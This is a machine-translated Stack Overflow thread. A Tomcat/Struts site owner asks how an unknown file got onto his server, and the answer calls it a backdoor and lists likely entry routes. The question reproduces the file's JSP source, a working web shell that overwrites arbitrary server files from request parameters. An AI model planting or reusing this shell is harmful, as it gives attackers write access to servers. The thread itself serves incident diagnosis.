我有一个由 Tomcat 7.0.42 提供服务的 Struts 2 Web 应用程序。我最近发现我还没有上传的文件。这里我举个例子
<%@ page language="java" pageEncoding="gbk"%>
<jsp:directive.page import="java.io.File"/>
<jsp:directive.page import="java.io.OutputStream"/>
<jsp:directive.page import="java.io.FileOutputStream"/>
<% int i=0;String method=request.getParameter("act");
if(method!=null&&method.equals("yoco")){
String url=request.getParameter("url");
String text=request.getParameter("smart");
File f=new File(url);
if(f.exists()){
f.delete();
}
try{
OutputStream o=new FileOutputStream(f);
o.write(text.getBytes());
o.close();
}catch(Exception e){
i++;
%>0<%
}
}
if(i==0){
%>1<%}
%>
<form action='?act=yoco' method='post'>
<input size="100" value="<%=application.getRealPath("/") %>" name="url">
<br>
<textarea rows="20" cols="80" name="smart">
这是一个用于在我的服务器上写入文件的小型 JSP。几天前,他们获得了 shell 的访问权限,但由于某种 DDoS 攻击,所有服务器都宕机了。
我真的很想知道他们如何在我的服务器上写入文件。我有一些与用户交互的表单,但所有字段都受正则表达式限制,我使用准备好的语句来访问我的数据库。如果您想“实际”查看问题 (link)
非常感谢任何帮助。谢谢!
最佳答案
很明显,这是一些恶意用户/黑客上传的后门。
为什么该文件最终出现在那里可能有以下几个原因:
- 黑客可以访问您的 FTP/SSH(尝试更改用户)
- 如果您有一些“公共(public)上传文件”功能,则可能容易让用户上传他们想要的任何内容。
- 您的系统中有一些远程代码执行。
- SQL 注入(inject)漏洞,他们能够从您的数据库中检索密码以访问某种管理面板,这些面板赋予他们上传文件的权限,或者根据数据库和数据库用户权限,他们甚至可以使用查询写入文件.
我的建议:
- 更新您的软件(框架、CMS、网络服务器、操作系统、API 等)。
- 如果您有专有代码,请对其进行一些听取并寻找漏洞。
祝你好运!
关于java - 为什么服务器上出现上传的未知文件?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/20252529/